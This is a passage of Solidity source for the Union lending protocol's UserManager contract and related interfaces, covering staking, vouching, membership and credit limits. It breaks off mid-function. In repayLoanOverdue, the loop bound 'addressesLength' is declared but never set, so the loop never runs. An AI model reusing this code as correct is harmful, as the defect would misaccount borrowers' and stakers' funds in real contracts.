/**
* @dev Withdraw rewards
* @return Amount of rewards
*/
function withdrawRewards(address sender, address token) external returns (uint256);
function addFrozenCoinAge(
address staker,
address token,
uint256 lockedStake,
uint256 lastRepay
) external;
function updateTotalStaked(address token, uint256 totalStaked) external returns (bool);
/**
* @dev Calculate unclaimed rewards based on blocks
* @param account User address
* @param futureBlocks Number of blocks in the future
* @return Unclaimed rewards
*/
function calculateRewardsByBlocks(
address account,
address token,
uint256 futureBlocks
) external view returns (uint256);
/**
* @dev Calculate currently unclaimed rewards
* @param account Account address
* @return Unclaimed rewards
*/
function calculateRewards(address account, address token) external view returns (uint256);
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/**
* @title CreditLimitModel Interface
* @dev Calculate the user's credit line based on the trust he receives from the vouchees.
*/
interface ICreditLimitModel {
struct LockedInfo {
address staker;
uint256 vouchingAmount;
uint256 lockedAmount;
uint256 availableStakingAmount;
}
function isCreditLimitModel() external pure returns (bool);
function effectiveNumber() external returns (uint256);
/**
* @notice Calculates the staker locked amount
* @return Member credit limit
*/
function getLockedAmount(
LockedInfo[] calldata vouchAmountList,
address staker,
uint256 amount,
bool isIncrease
) external pure returns (uint256);
/**
* @notice Calculates the member credit limit by vouchs
* @return Member credit limit
*/
function getCreditLimit(uint256[] calldata vouchs) external view returns (uint256);
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
interface IDai {
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/**
* @title UToken Interface
* @dev Union members can borrow and repay thru this component.
*/
interface IUToken {
/**
* @dev Returns the remaining amount that can be borrowed from the market.
* @return Remaining total amount
*/
function getRemainingDebtCeiling() external view returns (uint256);
/**
* @dev Get the borrowed principle
* @param account Member address
* @return Borrowed amount
*/
function getBorrowed(address account) external view returns (uint256);
/**
* @dev Get the last repay block
* @param account Member address
* @return Block number
*/
function getLastRepay(address account) external view returns (uint256);
/**
* @dev Get member interest index
* @param account Member address
* @return Interest index
*/
function getInterestIndex(address account) external view returns (uint256);
/**
* @dev Check if the member's loan is overdue
* @param account Member address
* @return Check result
*/
function checkIsOverdue(address account) external view returns (bool);
/**
* @dev Get the borrowing interest rate per block
* @return Borrow rate
*/
function borrowRatePerBlock() external view returns (uint256);
/**
* @dev Get the origination fee
* @param amount Amount to be calculated
* @return Handling fee
*/
function calculatingFee(uint256 amount) external view returns (uint256);
/**
* @dev Calculating member's borrowed interest
* @param account Member address
* @return Interest amount
*/
function calculatingInterest(address account) external view returns (uint256);
/**
* @dev Get a member's current owed balance, including the principle and interest but without updating the user's states.
* @param account Member address
* @return Borrowed amount
*/
function borrowBalanceView(address account) external view returns (uint256);
/**
* @dev Change loan origination fee value
* Accept claims only from the admin
* @param originationFee_ Fees deducted for each loan transaction
*/
function setOriginationFee(uint256 originationFee_) external;
/**
* @dev Update the market debt ceiling to a fixed amount, for example, 1 billion DAI etc.
* Accept claims only from the admin
* @param debtCeiling_ The debt limit for the whole system
*/
function setDebtCeiling(uint256 debtCeiling_) external;
/**
* @dev Update the max loan size
* Accept claims only from the admin
* @param maxBorrow_ Max loan amount per user
*/
function setMaxBorrow(uint256 maxBorrow_) external;
/**
* @dev Update the minimum loan size
* Accept claims only from the admin
* @param minBorrow_ Minimum loan amount per user
*/
function setMinBorrow(uint256 minBorrow_) external;
/**
* @dev Change loan overdue duration, based on the number of blocks
* Accept claims only from the admin
* @param overdueBlocks_ Maximum late repayment block. The number of arrivals is a default
*/
function setOverdueBlocks(uint256 overdueBlocks_) external;
/**
* @dev Change to a different interest rate model
* Accept claims only from the admin
* @param newInterestRateModel New interest rate model address
*/
function setInterestRateModel(address newInterestRateModel) external;
function setReserveFactor(uint256 reserveFactorMantissa_) external;
function supplyRatePerBlock() external returns (uint256);
function accrueInterest() external returns (bool);
function balanceOfUnderlying(address owner) external returns (uint256);
function mint(uint256 mintAmount) external;
function redeem(uint256 redeemTokens) external;
function redeemUnderlying(uint256 redeemAmount) external;
function addReserves(uint256 addAmount) external;
function removeReserves(address receiver, uint256 reduceAmount) external;
/**
* @dev Borrowing from the market
* Accept claims only from the member
* Borrow amount must in the range of creditLimit, minLoan, debtCeiling and not overdue
* @param amount Borrow amount
*/
function borrow(uint256 amount) external;
/**
* @dev Repay the loan
* Accept claims only from the member
* Updated member lastPaymentEpoch only when the repayment amount is greater than interest
* @param amount Repay amount
*/
function repayBorrow(uint256 amount) external;
/**
* @dev Repay the loan
* Accept claims only from the member
* Updated member lastPaymentEpoch only when the repayment amount is greater than interest
* @param borrower Borrower address
* @param amount Repay amount
*/
function repayBorrowBehalf(address borrower, uint256 amount) external;
/**
* @dev Update borrower overdue info
* @param account Borrower address
*/
function updateOverdueInfo(address account) external;
/**
* @dev debt write off
* @param borrower Borrower address
* @param amount WriteOff amount
*/
function debtWriteOff(address borrower, uint256 amount) external;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/**
* @title UnionToken Interface
* @dev Mint and distribute UnionTokens.
*/
interface IUnionToken {
/**
* @dev Get total supply
* @return Total supply
*/
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external returns (bool);
/**
* @dev Determine the prior number of votes for an account as of a block number. Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256);
/**
* @dev Allows to spend owner's Union tokens by the specified spender.
* The function can be called by anyone, but requires having allowance parameters
* signed by the owner according to EIP712.
* @param owner The owner's address, cannot be zero address.
* @param spender The spender's address, cannot be zero address.
* @param value The allowance amount, in wei.
* @param deadline The allowance expiration date (unix timestamp in UTC).
* @param v A final byte of signature (ECDSA component).
* @param r The first 32 bytes of signature (ECDSA component).
* @param s The second 32 bytes of signature (ECDSA component).
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function burnFrom(address account, uint256 amount) external;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/**
* @title UserManager Interface
* @dev Manages the Union members credit lines, and their vouchees and borrowers info.
*/
interface IUserManager {
/**
* @dev Check if the account is a valid member
* @param account Member address
* @return Address whether is member
*/
function checkIsMember(address account) external view returns (bool);
/**
* @dev Get member borrowerAddresses
* @param account Member address
* @return Address array
*/
function getBorrowerAddresses(address account) external view returns (address[] memory);
/**
* @dev Get member stakerAddresses
* @param account Member address
* @return Address array
*/
function getStakerAddresses(address account) external view returns (address[] memory);
/**
* @dev Get member backer asset
* @param account Member address
* @param borrower Borrower address
* @return Trust amount, vouch amount, and locked stake amount
*/
function getBorrowerAsset(address account, address borrower)
external
view
returns (
uint256,
uint256,
uint256
);
/**
* @dev Get member stakers asset
* @param account Member address
* @param staker Staker address
* @return Vouch amount and lockedStake
*/
function getStakerAsset(address account, address staker)
external
view
returns (
uint256,
uint256,
uint256
);
/**
* @dev Get the member's available credit line
* @param account Member address
* @return Limit
*/
function getCreditLimit(address account) external view returns (int256);
function totalStaked() external view returns (uint256);
function totalFrozen() external view returns (uint256);
function getFrozenCoinAge(address staker, uint256 pastBlocks) external view returns (uint256);
/**
* @dev Add a new member
* Accept claims only from the admin
* @param account Member address
*/
function addMember(address account) external;
/**
* @dev Update the trust amount for exisitng members.
* @param borrower Borrower address
* @param trustAmount Trust amount
*/
function updateTrust(address borrower, uint256 trustAmount) external;
/**
* @dev Apply for membership, and burn UnionToken as application fees
* @param newMember New member address
*/
function registerMember(address newMember) external;
/**
* @dev Stop vouch for other member.
* @param staker Staker address
* @param account Account address
*/
function cancelVouch(address staker, address account) external;
/**
* @dev Change the credit limit model
* Accept claims only from the admin
* @param newCreditLimitModel New credit limit model address
*/
function setCreditLimitModel(address newCreditLimitModel) external;
/**
* @dev Get the user's locked stake from all his backed loans
* @param staker Staker address
* @return LockedStake
*/
function getTotalLockedStake(address staker) external view returns (uint256);
/**
* @dev Get staker's defaulted / frozen staked token amount
* @param staker Staker address
* @return Frozen token amount
*/
function getTotalFrozenAmount(address staker) external view returns (uint256);
/**
* @dev Update userManager locked info
* @param borrower Borrower address
* @param amount Borrow or repay amount(Including previously accrued interest)
* @param isBorrow True is borrow, false is repay
*/
function updateLockedData(
address borrower,
uint256 amount,
bool isBorrow
) external;
/**
* @dev Get the user's deposited stake amount
* @param account Member address
* @return Deposited stake amount
*/
function getStakerBalance(address account) external view returns (uint256);
/**
* @dev Stake
* @param amount Amount
*/
function stake(uint256 amount) external;
/**
* @dev Unstake
* @param amount Amount
*/
function unstake(uint256 amount) external;
/**
* @dev Update total frozen
* @param account borrower address
* @param isOverdue account is overdue
*/
function updateTotalFrozen(address account, bool isOverdue) external;
function batchUpdateTotalFrozen(address[] calldata account, bool[] calldata isOverdue) external;
/**
* @dev Repay user's loan overdue, called only from the lending market
* @param account User address
* @param lastRepay Last repay block number
*/
function repayLoanOverdue(
address account,
address token,
uint256 lastRepay
) external;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "../Controller.sol";
import "../interfaces/IAssetManager.sol";
import "../interfaces/ICreditLimitModel.sol";
import "../interfaces/IUserManager.sol";
import "../interfaces/IComptroller.sol";
import "../interfaces/IUnionToken.sol";
import "../interfaces/IDai.sol";
import "../interfaces/IUToken.sol";
/**
* @title UserManager Contract
* @dev Manages the Union members credit lines, and their vouchees and borrowers info.
*/
contract UserManager is Controller, IUserManager, ReentrancyGuardUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
struct Member {
bool isMember;
CreditLine creditLine;
}
//address: member address, uint256: trustAmount
struct CreditLine {
mapping(address => uint256) borrowers;
address[] borrowerAddresses;
mapping(address => uint256) stakers;
address[] stakerAddresses;
mapping(address => uint256) lockedAmount;
}
struct TrustInfo {
address[] stakerAddresses;
address[] borrowerAddresses;
uint256 effectiveCount;
address staker;
uint256 vouchingAmount;
uint256 stakingAmount;
uint256 availableStakingAmount;
uint256 lockedStake;
uint256 totalLockedStake;
}
uint256 public constant MAX_TRUST_LIMIT = 100;
uint256 public maxStakeAmount;
address public stakingToken;
address public unionToken;
address public assetManager;
IUToken public uToken;
ICreditLimitModel public creditLimitModel;
IComptroller public comptroller;
uint256 public newMemberFee; // New member application fee
// slither-disable-next-line constable-states
uint256 public override totalStaked;
// slither-disable-next-line constable-states
uint256 public override totalFrozen;
mapping(address => Member) private members;
// slither-disable-next-line uninitialized-state
mapping(address => uint256) public stakers; //1 user address 2 amount
mapping(address => uint256) public memberFrozen; //1 user address 2 frozen amount
error AddressZero();
error AmountZero();
error ErrorData();
error AuthFailed();
error NotCreditLimitModel();
error ErrorSelfVouching();
error MaxTrustLimitReached();
error TrustAmountTooLarge();
error LockedStakeNonZero();
error NoExistingMember();
error NotEnoughStakers();
error StakeLimitReached();
error AssetManagerDepositFailed();
error AssetManagerWithdrawFailed();
error InsufficientBalance();
error ExceedsTotalStaked();
error NotOverdue();
error ExceedsLocked();
error ExceedsTotalFrozen();
error LengthNotMatch();
error ErrorTotalStake();
modifier onlyMember(address account) {
if (!checkIsMember(account)) revert AuthFailed();
_;
}
modifier onlyMarketOrAdmin() {
if (address(uToken) != msg.sender && !isAdmin(msg.sender)) revert AuthFailed();
_;
}
/**
* @dev Update new credit limit model event
* @param newCreditLimitModel New credit limit model address
*/
event LogNewCreditLimitModel(address newCreditLimitModel);
/**
* @dev Add new member event
* @param member New member address
*/
event LogAddMember(address member);
/**
* @dev Update vouch for existing member event
* @param staker Trustee address
* @param borrower The address gets vouched for
* @param trustAmount Vouch amount
*/
event LogUpdateTrust(address indexed staker, address indexed borrower, uint256 trustAmount);
/**
* @dev New member application event
* @param account New member's voucher address
* @param borrower New member address
*/
event LogRegisterMember(address indexed account, address indexed borrower);
/**
* @dev Cancel vouching for other member event
* @param account New member's voucher address
* @param borrower The address gets vouched for
*/
event LogCancelVouch(address indexed account, address indexed borrower);
/**
* @dev Stake event
* @param account The staker's address
* @param amount The amount of tokens to stake
*/
event LogStake(address indexed account, uint256 amount);
/**
* @dev Unstake event
* @param account The staker's address
* @param amount The amount of tokens to unstake
*/
event LogUnstake(address indexed account, uint256 amount);
/**
* @dev DebtWriteOff event
* @param staker The staker's address
* @param borrower The borrower's address
* @param amount The amount of write off
*/
event LogDebtWriteOff(address indexed staker, address indexed borrower, uint256 amount);
/**
* @dev set utoken address
* @param uToken new uToken address
*/
event LogSetUToken(address uToken);
/**
* @dev set new member fee
* @param oldMemberFee old member fee
* @param newMemberFee new member fee
*/
event LogSetNewMemberFee(uint256 oldMemberFee, uint256 newMemberFee);
event LogSetMaxStakeAmount(uint256 oldMaxStakeAmount, uint256 newMaxStakeAmount);
function __UserManager_init(
address assetManager_,
address unionToken_,
address stakingToken_,
address creditLimitModel_,
address comptroller_,
address admin_
) public initializer {
Controller.__Controller_init(admin_);
ReentrancyGuardUpgradeable.__ReentrancyGuard_init();
_setCreditLimitModel(creditLimitModel_);
comptroller = IComptroller(comptroller_);
assetManager = assetManager_;
unionToken = unionToken_;
stakingToken = stakingToken_;
newMemberFee = 10**18; // Set the default membership fee
maxStakeAmount = 5000e18;
}
function setMaxStakeAmount(uint256 maxStakeAmount_) public onlyAdmin {
uint256 oldMaxStakeAmount = maxStakeAmount;
maxStakeAmount = maxStakeAmount_;
emit LogSetMaxStakeAmount(oldMaxStakeAmount, maxStakeAmount);
}
function setUToken(address uToken_) public onlyAdmin {
if (uToken_ == address(0)) revert AddressZero();
uToken = IUToken(uToken_);
emit LogSetUToken(uToken_);
}
function setNewMemberFee(uint256 amount) public onlyAdmin {
uint256 oldMemberFee = newMemberFee;
newMemberFee = amount;
emit LogSetNewMemberFee(oldMemberFee, newMemberFee);
}
/**
* @dev Change the credit limit model
* Accept claims only from the admin
* @param newCreditLimitModel New credit limit model address
*/
function setCreditLimitModel(address newCreditLimitModel) public override onlyAdmin {
if (newCreditLimitModel == address(0)) revert AddressZero();
_setCreditLimitModel(newCreditLimitModel);
}
function _setCreditLimitModel(address newCreditLimitModel) private {
if (!ICreditLimitModel(newCreditLimitModel).isCreditLimitModel()) revert NotCreditLimitModel();
creditLimitModel = ICreditLimitModel(newCreditLimitModel);
emit LogNewCreditLimitModel(newCreditLimitModel);
}
/**
* @dev Check if the account is a valid member
* @param account Member address
* @return Address whether is member
*/
function checkIsMember(address account) public view override returns (bool) {
return members[account].isMember;
}
/**
* @dev Get member borrowerAddresses
* @param account Member address
* @return Address array
*/
function getBorrowerAddresses(address account) public view override returns (address[] memory) {
return members[account].creditLine.borrowerAddresses;
}
/**
* @dev Get member stakerAddresses
* @param account Member address
* @return Address array
*/
function getStakerAddresses(address account) public view override returns (address[] memory) {
return members[account].creditLine.stakerAddresses;
}
/**
* @dev Get member backer asset
* @param account Member address
* @param borrower Borrower address
* @return trustAmount vouchingAmount lockedStake. Trust amount, vouch amount, and locked stake amount
*/
function getBorrowerAsset(address account, address borrower)
public
view
override
returns (
uint256 trustAmount,
uint256 vouchingAmount,
uint256 lockedStake
)
{
trustAmount = members[account].creditLine.borrowers[borrower];
lockedStake = getLockedStake(account, borrower);
vouchingAmount = getVouchingAmount(account, borrower);
}
/**
* @dev Get member stakers asset
* @param account Member address
* @param staker Staker address
* @return trustAmount lockedStake vouchingAmount. Vouch amount and lockedStake
*/
function getStakerAsset(address account, address staker)
public
view
override
returns (
uint256 trustAmount,
uint256 vouchingAmount,
uint256 lockedStake
)
{
trustAmount = members[account].creditLine.stakers[staker];
lockedStake = getLockedStake(staker, account);
vouchingAmount = getVouchingAmount(staker, account);
}
/**
* @dev Get staker locked stake for a borrower
* @param staker Staker address
* @param borrower Borrower address
* @return LockedStake
*/
function getLockedStake(address staker, address borrower) public view returns (uint256) {
return members[staker].creditLine.lockedAmount[borrower];
}
/**
* @dev Get the user's locked stake from all his backed loans
* @param staker Staker address
* @return LockedStake
*/
function getTotalLockedStake(address staker) public view override returns (uint256) {
uint256 totalLockedStake = 0;
uint256 stakingAmount = stakers[staker];
address[] memory borrowerAddresses = members[staker].creditLine.borrowerAddresses;
address borrower;
uint256 addressesLength = borrowerAddresses.length;
for (uint256 i = 0; i < addressesLength; i++) {
borrower = borrowerAddresses[i];
totalLockedStake += getLockedStake(staker, borrower);
}
if (stakingAmount >= totalLockedStake) {
return totalLockedStake;
} else {
return stakingAmount;
}
}
/**
* @dev Get staker's defaulted / frozen staked token amount
* @param staker Staker address
* @return Frozen token amount
*/
function getTotalFrozenAmount(address staker) public view override returns (uint256) {
TrustInfo memory trustInfo;
uint256 totalFrozenAmount = 0;
trustInfo.borrowerAddresses = members[staker].creditLine.borrowerAddresses;
trustInfo.stakingAmount = stakers[staker];
address borrower;
uint256 addressLength = trustInfo.borrowerAddresses.length;
for (uint256 i = 0; i < addressLength; i++) {
borrower = trustInfo.borrowerAddresses[i];
if (uToken.checkIsOverdue(borrower)) {
totalFrozenAmount += getLockedStake(staker, borrower);
}
}
if (trustInfo.stakingAmount >= totalFrozenAmount) {
return totalFrozenAmount;
} else {
return trustInfo.stakingAmount;
}
}
/**
* @dev Get the member's available credit line
* @param borrower Member address
* @return Credit line amount
*/
function getCreditLimit(address borrower) public view override returns (int256) {
TrustInfo memory trustInfo;
trustInfo.stakerAddresses = members[borrower].creditLine.stakerAddresses;
// Get the number of effective vouchee, first
trustInfo.effectiveCount = 0;
uint256 stakerAddressesLength = trustInfo.stakerAddresses.length;
uint256[] memory limits = new uint256[](stakerAddressesLength);
for (uint256 i = 0; i < stakerAddressesLength; i++) {
trustInfo.staker = trustInfo.stakerAddresses[i];
trustInfo.stakingAmount = stakers[trustInfo.staker];
trustInfo.vouchingAmount = getVouchingAmount(trustInfo.staker, borrower);
//A vouchingAmount value of 0 means that the amount of stake is 0 or trust is 0. In this case, this data is not used to calculate the credit limit
if (trustInfo.vouchingAmount > 0) {
//availableStakingAmount is staker‘s free stake amount
trustInfo.borrowerAddresses = getBorrowerAddresses(trustInfo.staker);
trustInfo.availableStakingAmount = trustInfo.stakingAmount;
uint256 totalLockedStake = getTotalLockedStake(trustInfo.staker);
if (trustInfo.stakingAmount <= totalLockedStake) {
trustInfo.availableStakingAmount = 0;
} else {
trustInfo.availableStakingAmount = trustInfo.stakingAmount - totalLockedStake;
}
trustInfo.lockedStake = getLockedStake(trustInfo.staker, borrower);
if (trustInfo.vouchingAmount < trustInfo.lockedStake) revert ErrorData();
//The actual effective guarantee amount cannot exceed availableStakingAmount,
if (trustInfo.vouchingAmount >= trustInfo.availableStakingAmount + trustInfo.lockedStake) {
limits[trustInfo.effectiveCount] = trustInfo.availableStakingAmount;
} else {
if (trustInfo.vouchingAmount <= trustInfo.lockedStake) {
limits[trustInfo.effectiveCount] = 0;
} else {
limits[trustInfo.effectiveCount] = trustInfo.vouchingAmount - trustInfo.lockedStake;
}
}
trustInfo.effectiveCount += 1;
}
}
uint256[] memory creditlimits = new uint256[](trustInfo.effectiveCount);
for (uint256 j = 0; j < trustInfo.effectiveCount; j++) {
creditlimits[j] = limits[j];
}
return int256(creditLimitModel.getCreditLimit(creditlimits)) - int256(uToken.calculatingInterest(borrower));
}
/**
* @dev Get vouching amount
* @param staker Staker address
* @param borrower Borrower address
*/
function getVouchingAmount(address staker, address borrower) public view returns (uint256) {
uint256 totalStake = stakers[staker];
uint256 trustAmount = members[borrower].creditLine.stakers[staker];
return trustAmount > totalStake ? totalStake : trustAmount;
}
/**
* @dev Get the user's deposited stake amount
* @param account Member address
* @return Deposited stake amount
*/
function getStakerBalance(address account) public view override returns (uint256) {
return stakers[account];
}
/**
* @dev Add member
* Accept claims only from the admin
* @param account Member address
*/
function addMember(address account) public override onlyAdmin {
members[account].isMember = true;
emit LogAddMember(account);
}
/**
* @dev Update the trust amount for exisitng members.
* @param borrower_ Account address
* @param trustAmount Trust amount
*/
function updateTrust(address borrower_, uint256 trustAmount)
external
override
onlyMember(msg.sender)
whenNotPaused
{
if (borrower_ == address(0)) revert AddressZero();
address borrower = borrower_;
TrustInfo memory trustInfo;
trustInfo.staker = msg.sender;
if (trustInfo.staker == borrower) revert ErrorSelfVouching();
if (
members[borrower].creditLine.stakerAddresses.length >= MAX_TRUST_LIMIT ||
members[trustInfo.staker].creditLine.borrowerAddresses.length >= MAX_TRUST_LIMIT
) revert MaxTrustLimitReached();
trustInfo.borrowerAddresses = members[trustInfo.staker].creditLine.borrowerAddresses;
trustInfo.stakerAddresses = members[borrower].creditLine.stakerAddresses;
trustInfo.lockedStake = getLockedStake(trustInfo.staker, borrower);
if (trustAmount < trustInfo.lockedStake) revert TrustAmountTooLarge();
uint256 borrowerCount = members[trustInfo.staker].creditLine.borrowerAddresses.length;
bool borrowerExist = false;
for (uint256 i = 0; i < borrowerCount; i++) {
if (trustInfo.borrowerAddresses[i] == borrower) {
borrowerExist = true;
break;
}
}
uint256 stakerCount = members[borrower].creditLine.stakerAddresses.length;
bool stakerExist = false;
for (uint256 i = 0; i < stakerCount; i++) {
if (trustInfo.stakerAddresses[i] == trustInfo.staker) {
stakerExist = true;
break;
}
}
if (!borrowerExist) {
members[trustInfo.staker].creditLine.borrowerAddresses.push(borrower);
}
if (!stakerExist) {
members[borrower].creditLine.stakerAddresses.push(trustInfo.staker);
}
members[trustInfo.staker].creditLine.borrowers[borrower] = trustAmount;
members[borrower].creditLine.stakers[trustInfo.staker] = trustAmount;
emit LogUpdateTrust(trustInfo.staker, borrower, trustAmount);
}
/**
* @dev Stop vouch for other member.
* @param staker Staker address
* @param borrower borrower address
*/
function cancelVouch(address staker, address borrower) external override onlyMember(msg.sender) whenNotPaused {
if (msg.sender != staker && msg.sender != borrower) revert AuthFailed();
if (getLockedStake(staker, borrower) != 0) revert LockedStakeNonZero();
uint256 stakerCount = members[borrower].creditLine.stakerAddresses.length;
bool stakerExist = false;
uint256 stakerIndex = 0;
for (uint256 i = 0; i < stakerCount; i++) {
if (members[borrower].creditLine.stakerAddresses[i] == staker) {
stakerExist = true;
stakerIndex = i;
break;
}
}
uint256 borrowerCount = members[staker].creditLine.borrowerAddresses.length;
bool borrowerExist = false;
uint256 borrowerIndex = 0;
for (uint256 i = 0; i < borrowerCount; i++) {
if (members[staker].creditLine.borrowerAddresses[i] == borrower) {
borrowerExist = true;
borrowerIndex = i;
break;
}
}
//delete address
if (borrowerExist) {
members[staker].creditLine.borrowerAddresses[borrowerIndex] = members[staker].creditLine.borrowerAddresses[
borrowerCount - 1
];
members[staker].creditLine.borrowerAddresses.pop();
}
if (stakerExist) {
members[borrower].creditLine.stakerAddresses[stakerIndex] = members[borrower].creditLine.stakerAddresses[
stakerCount - 1
];
members[borrower].creditLine.stakerAddresses.pop();
}
delete members[staker].creditLine.borrowers[borrower];
delete members[borrower].creditLine.stakers[staker];
emit LogCancelVouch(staker, borrower);
}
function registerMemberWithPermit(
address newMember,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public whenNotPaused {
IUnionToken unionTokenContract = IUnionToken(unionToken);
unionTokenContract.permit(msg.sender, address(this), value, deadline, v, r, s);
registerMember(newMember);
}
/**
* @dev Apply for membership, and burn UnionToken as application fees
* @param newMember New member address
*/
function registerMember(address newMember) public override whenNotPaused {
if (checkIsMember(newMember)) revert NoExistingMember();
IUnionToken unionTokenContract = IUnionToken(unionToken);
uint256 effectiveStakerNumber = 0;
address stakerAddress;
uint256 addressesLength = members[newMember].creditLine.stakerAddresses.length;
for (uint256 i = 0; i < addressesLength; i++) {
stakerAddress = members[newMember].creditLine.stakerAddresses[i];
if (checkIsMember(stakerAddress) && getVouchingAmount(stakerAddress, newMember) > 0)
effectiveStakerNumber += 1;
}
if (effectiveStakerNumber < creditLimitModel.effectiveNumber()) revert NotEnoughStakers();
members[newMember].isMember = true;
unionTokenContract.burnFrom(msg.sender, newMemberFee);
emit LogRegisterMember(msg.sender, newMember);
}
function updateLockedData(
address borrower,
uint256 amount,
bool isBorrow
) external override onlyMarketOrAdmin {
TrustInfo memory trustInfo;
trustInfo.stakerAddresses = members[borrower].creditLine.stakerAddresses;
ICreditLimitModel.LockedInfo[] memory lockedInfoList = new ICreditLimitModel.LockedInfo[](
trustInfo.stakerAddresses.length
);
uint256 addressesLength = trustInfo.stakerAddresses.length;
for (uint256 i = 0; i < addressesLength; i++) {
ICreditLimitModel.LockedInfo memory lockedInfo;
trustInfo.staker = trustInfo.stakerAddresses[i];
trustInfo.stakingAmount = stakers[trustInfo.staker];
trustInfo.vouchingAmount = getVouchingAmount(trustInfo.staker, borrower);
trustInfo.totalLockedStake = getTotalLockedStake(trustInfo.staker);
if (trustInfo.stakingAmount <= trustInfo.totalLockedStake) {
trustInfo.availableStakingAmount = 0;
} else {
trustInfo.availableStakingAmount = trustInfo.stakingAmount - trustInfo.totalLockedStake;
}
lockedInfo.staker = trustInfo.staker;
lockedInfo.vouchingAmount = trustInfo.vouchingAmount;
lockedInfo.lockedAmount = getLockedStake(trustInfo.staker, borrower);
lockedInfo.availableStakingAmount = trustInfo.availableStakingAmount;
lockedInfoList[i] = lockedInfo;
}
uint256 lockedInfoListLength = lockedInfoList.length;
for (uint256 i = 0; i < lockedInfoListLength; i++) {
members[lockedInfoList[i].staker].creditLine.lockedAmount[borrower] = creditLimitModel.getLockedAmount(
lockedInfoList,
lockedInfoList[i].staker,
amount,
isBorrow
);
}
}
/**
* @dev Stake
* @param amount Amount
*/
function stake(uint256 amount) public override whenNotPaused nonReentrant {
IERC20Upgradeable erc20Token = IERC20Upgradeable(stakingToken);
comptroller.withdrawRewards(msg.sender, stakingToken);
uint256 balance = stakers[msg.sender];
if (balance + amount > maxStakeAmount) revert StakeLimitReached();
stakers[msg.sender] = balance + amount;
totalStaked += amount;
erc20Token.safeTransferFrom(msg.sender, address(this), amount);
erc20Token.safeApprove(assetManager, 0);
erc20Token.safeApprove(assetManager, amount);
if (!IAssetManager(assetManager).deposit(stakingToken, amount)) revert AssetManagerDepositFailed();
emit LogStake(msg.sender, amount);
}
/**
* @dev stakeWithPermit
* @param amount Amount
*/
function stakeWithPermit(
uint256 amount,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public whenNotPaused {
IDai erc20Token = IDai(stakingToken);
erc20Token.permit(msg.sender, address(this), nonce, expiry, true, v, r, s);
stake(amount);
}
/**
* @dev Unstake
* @param amount Amount
*/
function unstake(uint256 amount) external override whenNotPaused nonReentrant {
IERC20Upgradeable erc20Token = IERC20Upgradeable(stakingToken);
uint256 stakingAmount = stakers[msg.sender];
if (stakingAmount - getTotalLockedStake(msg.sender) < amount) revert InsufficientBalance();
comptroller.withdrawRewards(msg.sender, stakingToken);
stakers[msg.sender] = stakingAmount - amount;
totalStaked -= amount;
if (!IAssetManager(assetManager).withdraw(stakingToken, address(this), amount))
revert AssetManagerWithdrawFailed();
erc20Token.safeTransfer(msg.sender, amount);
emit LogUnstake(msg.sender, amount);
}
function withdrawRewards() external whenNotPaused nonReentrant {
comptroller.withdrawRewards(msg.sender, stakingToken);
}
/**
* @dev Repay user's loan overdue, called only from the lending market
* @param account User address
* @param token The asset token repaying to
* @param lastRepay Last repay block number
*/
function repayLoanOverdue(
address account,
address token,
uint256 lastRepay
) external override whenNotPaused onlyMarketOrAdmin {
address[] memory stakerAddresses = getStakerAddresses(account);
uint256 addressesLength;
for (uint256 i = 0; i < addressesLength; i++) {
address staker = stakerAddresses[i];
(, , uint256 lockedStake) = getStakerAsset(account, staker);
comptroller.addFrozenCoinAge(staker, token, lockedStake, lastRepay);
}
}
//Only supports sumOfTrust
function debtWriteOff(address borrower, uint256 amount) public {
if (amount == 0) revert AmountZero();
if (amount > totalStaked) revert ExceedsTotalStaked();
if (!uToken.checkIsOverdue(borrower)) revert NotOverdue();
uint256 lockedAmount = getLockedStake(msg.sender, borrower);
if (amount > lockedAmount) revert ExceedsLocked();
_updateTotalFrozen(borrower, true);
if (amount > totalFrozen) revert ExceedsTotalFrozen();
comptroller.withdrawRewards(msg.sender, stakingToken);
//The borrower is still overdue, do not call comptroller.addFrozenCoinAge
stakers[msg.sender] -= amount;
totalStaked -= amount;
totalFrozen -= amount;
if (memberFrozen[borrower] >= amount) {
memberFrozen[borrower] -= amount;
} else {
memberFrozen[borrower] = 0;
}
members[msg.sender].creditLine.lockedAmount[borrower] = lockedAmount - amount;
uint256 trustAmount = members[msg.sender].creditLine.borrowers[borrower];
uint256 newTrustAmount = trustAmount - amount;
members[msg.sender].creditLine.borrowers[borrower] = newTrustAmount;
members[borrower].creditLine.stakers[msg.sender] = newTrustAmount;
IAssetManager(assetManager).debtWriteOff(stakingToken, amount);
uToken.debtWriteOff(borrower, amount);
emit LogDebtWriteOff(msg.sender, borrower, amount);
}
/**
* @dev Update total frozen
* @param account borrower address
* @param isOverdue account is overdue
*/
function updateTotalFrozen(address account, bool isOverdue) external override onlyMarketOrAdmin whenNotPaused {
if (totalStaked < totalFrozen) revert ErrorTotalStake();
uint256 effectiveTotalStaked = totalStaked - totalFrozen;
comptroller.updateTotalStaked(stakingToken, effectiveTotalStaked);
_updateTotalFrozen(account, isOverdue);
}
function batchUpdateTotalFrozen(address[] calldata accounts, bool[] calldata isOverdues)
external
override
onlyMarketOrAdmin
whenNotPaused
{
